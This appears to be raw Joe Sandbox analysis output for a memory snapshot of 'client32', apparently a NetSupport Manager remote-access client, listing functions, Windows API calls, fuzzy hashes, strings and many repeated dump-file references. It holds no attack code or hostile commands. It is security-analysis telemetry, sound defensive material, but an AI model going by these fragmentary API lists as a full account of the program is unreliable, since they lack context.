Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction ID: 54b2584c526ac61f8aa3306390e259e673957fd90be6398fea32980b523eb801
Opcode Fuzzy Hash: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction Fuzzy Hash: EE1157B0911B148FC3A4CF7A88817C7FBE5BB58310F80892E96EEC2200DB716664CF94

Function 11144440 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11144461
ExtractIconExA.SHELL32(?,00000000,00270311,000E03C5,00000001), ref: 11144498

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction ID: eab236796224ce85d4984e15688285b8376dcc0e4438f4162dfbb4c1a1faa056
Opcode Fuzzy Hash: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction Fuzzy Hash: 3EF0F0787581189FE708DFA0C892FF9B369F794709F444269E912C6184CE706A4C8B51

Function 11163DB7 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

__lock_file.LIBCMT ref: 11163DFE

Part of subcall function 1116AF99: __lock.LIBCMT ref: 1116AFBE

__fclose_nolock.LIBCMT ref: 11163E09

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction ID: 92e00479c768bfe57184568fb50af5c8f285ad3b4a4164507b2fffc520e9ca87
Opcode Fuzzy Hash: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction Fuzzy Hash: 5CF0F6348143079ED7119B79D80078EFBA86F0033CF518248C0289A0C0CBFA6521CE56

Function 11144EA0 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11144DC0: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,NSM.LIC), ref: 11144DE7

Part of subcall function 11163FED: __fsopen.LIBCMT ref: 11163FFA

GetLastError.KERNEL32(?,02FBB818,000000FF,?), ref: 11144ED5
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,02FBB818,000000FF,?), ref: 11144EE5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction ID: cc8fd34c32098476147d622d57126809c91a32baa97f0e350d3592d26a0b2836
Opcode Fuzzy Hash: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction Fuzzy Hash: 8D110875D4411AEBD7119F94C9C4A6EF3BCEF85A29F200164FC0497A00E775AD11C7A3

Function 110106C0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010774

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction ID: 0f97abe7109b731a14a0a5233c6982db04001c22e931a1e4a38e375530e3522e
Opcode Fuzzy Hash: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction Fuzzy Hash: D9515D74E00645DFDB04CF98C980AADBBF5BF88318F24829DD5869B385C776E942CB90

Function 11143000 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,76968400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction ID: 1cdda14904265755d753c391d3c49599355d775305d59026304f2c7825c43cec
Opcode Fuzzy Hash: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction Fuzzy Hash: 5D1193716282655AEB218E14D690BAFFBAAEFC5B24F30836AE51547E04C3329886C750

Function 110FACC0 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110FACED

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction ID: 5942e99df11cc5ddd12142181c934b3f7ef04b83757ceed83c361bf33f076152
Opcode Fuzzy Hash: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction Fuzzy Hash: 8911AC71E1011DDBDB11DFA8DC557EE73F8DB58305F0041D9E9099B240DA71AE488B90

Function 11170166 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,110310DF,00000000,?,11169DD4,?,110310DF,00000000,00000000,00000000,?,1116B767,00000001,00000214,?,1110F4AE), ref: 111701A9

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction ID: 37eba9f6ddbe8283f17829f7b0a109b8136aa2f13792341ea1fc2e0acbbf6d66
Opcode Fuzzy Hash: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction Fuzzy Hash: 590124392013669BEB099F25EC60B5BB799AB83365F014529EC15CA3C0DB70D900C340

Function 111672E3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111672EE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: b67d37eb909022d12c4b3a5208e3be1f16578853890f7fcac85d973ba88585e6
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: C5C09B3705811D7F5F055DE5EC00C557F5DD6806747148156F91C89590DD73E561D540

Function 11163FED Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11163FFA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 3fb95567750ac4c2837cb65daf82bfaf3169cdeaa60eaf7921ceae4fe4d00650
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 76C0927645424C77DF112A82EC02E4A7F2E9BC0668F448060FB1C19160AAB3EA71DACA

Non-executed Functions

Function 110076F0 Relevance: 86.3, APIs: 35, Strings: 14, Instructions: 548windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11088910: IsWindow.USER32(111305BC), ref: 1108892C
Part of subcall function 11088910: IsWindow.USER32(?), ref: 11088946

LoadCursorA.USER32(00000000,00007F02), ref: 1100773A
SetCursor.USER32(00000000), ref: 11007741
GetDC.USER32(?), ref: 1100776D
CreateCompatibleDC.GDI32(00000000), ref: 1100777A
CreateCompatibleBitmap.GDI32(?,?,?), ref: 11007884
SelectObject.GDI32(?,00000000), ref: 11007892
CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 110078A6
CreateCompatibleDC.GDI32(00000000), ref: 110078B3
CreateCompatibleBitmap.GDI32(?,?,?), ref: 110078C5
SelectClipRgn.GDI32(?,00000000), ref: 110078F1

Part of subcall function 11002250: DeleteObject.GDI32(?), ref: 11002261
Part of subcall function 11002250: CreatePen.GDI32(?,?,?), ref: 11002288

Part of subcall function 11005AC0: CreateSolidBrush.GDI32(?), ref: 11005AE7

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 1100791B
SelectClipRgn.GDI32(?,00000000), ref: 11007930
DeleteObject.GDI32(00000000), ref: 1100793D
DeleteDC.GDI32(?), ref: 1100794A
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 11007967
ReleaseDC.USER32(?,?), ref: 11007996
CreatePen.GDI32(00000002,00000001,00000000), ref: 110079A1
CreateSolidBrush.GDI32(?), ref: 11007A92
GetSysColor.USER32(00000004), ref: 11007AA0
LoadBitmapA.USER32(00000000,00002EEF), ref: 11007AB7

Part of subcall function 11142370: GetObjectA.GDI32(11003CF6,00000018,?), ref: 11142383
Part of subcall function 11142370: CreateCompatibleDC.GDI32(00000000), ref: 11142391
Part of subcall function 11142370: CreateCompatibleDC.GDI32(00000000), ref: 11142396
Part of subcall function 11142370: SelectObject.GDI32(00000000,00000000), ref: 111423AE
Part of subcall function 11142370: CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 111423C1
Part of subcall function 11142370: SelectObject.GDI32(00000000,00000000), ref: 111423CC
Part of subcall function 11142370: SetBkColor.GDI32(00000000,?), ref: 111423D6
Part of subcall function 11142370: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 111423F3
Part of subcall function 11142370: SetBkColor.GDI32(00000000,00000000), ref: 111423FC
Part of subcall function 11142370: SetTextColor.GDI32(00000000,00FFFFFF), ref: 11142408
Part of subcall function 11142370: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 11142425
Part of subcall function 11142370: SetBkColor.GDI32(00000000,?), ref: 11142430
Part of subcall function 11142370: SetTextColor.GDI32(00000000,00000000), ref: 11142439
Part of subcall function 11142370: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00EE0086), ref: 11142456
Part of subcall function 11142370: SelectObject.GDI32(00000000,00000000), ref: 11142461

Part of subcall function 1110F4A0: _malloc.LIBCMT ref: 1110F4A9
Part of subcall function 1110F4A0: _memset.LIBCMT ref: 1110F4D2

_memset.LIBCMT ref: 11007B17
_swscanf.LIBCMT ref: 11007B84

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

CreateFontIndirectA.GDI32(?), ref: 11007BB5
_memset.LIBCMT ref: 11007BDC
GetStockObject.GDI32(00000011), ref: 11007BEF
GetObjectA.GDI32(00000000), ref: 11007BF6
CreateFontIndirectA.GDI32(?), ref: 11007C03
GetWindowRect.USER32(?,?), ref: 11007D46
SetWindowTextA.USER32(?,00000000), ref: 11007D83
GetSystemMetrics.USER32(00000001), ref: 11007DA3
GetSystemMetrics.USER32(00000000), ref: 11007DC0
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 11007E10
SelectObject.GDI32(?,00000000), ref: 110078D6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 110955C0: GetSystemMetrics.USER32(0000004C), ref: 110955CE
Part of subcall function 110955C0: GetSystemMetrics.USER32(0000004D), ref: 110955D7
Part of subcall function 110955C0: GetSystemMetrics.USER32(0000004E), ref: 110955DE
Part of subcall function 110955C0: GetSystemMetrics.USER32(00000000), ref: 110955E7
Part of subcall function 110955C0: GetSystemMetrics.USER32(0000004F), ref: 110955ED
Part of subcall function 110955C0: GetSystemMetrics.USER32(00000001), ref: 110955F5

UpdateWindow.USER32(?), ref: 11007E42
SetCursor.USER32(?), ref: 11007E4F

Strings

DISPLAY, xrefs: 1100789E
FillStyle, xrefs: 11007A3C
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11007757, 11007979, 11007D29, 11007D6C, 11007DEA, 11007E2C
PenWidth, xrefs: 110079EE
Annotate, xrefs: 110079BF, 110079D7, 11007A02, 11007A2B, 11007A4A, 11007AF6
FillColour, xrefs: 11007A26
Monitor, xrefs: 110077A7
Tool, xrefs: 110079BA
PenColour, xrefs: 110079D2
Show, xrefs: 110077AC, 1100783F
ShowAppIds, xrefs: 1100783A
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11007B7E
m_hWnd, xrefs: 1100775C, 1100797E, 11007D2E, 11007D71, 11007DEF, 11007E31
Font, xrefs: 11007AF1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$Object$MetricsSystem$Select$ColorCompatibleWindow$Bitmap$CursorDeleteText_memset$BrushClipFontIndirectLoadSolid$ErrorExitLastMessageProcessRectReleaseStockUpdate_malloc_strrchr_swscanfwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$DISPLAY$FillColour$FillStyle$Font$Monitor$PenColour$PenWidth$Show$ShowAppIds$Tool$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2635354838-2303488826
Opcode ID: d239cf37228d0bcf3c2e9fcb1ed9174d39baad8ddbae7f420c202b4e7d79ce9b
Instruction ID: 36caa8e1779c0778bab16f35b410b6a705d8f3f77552c035345af44ea38dcd93
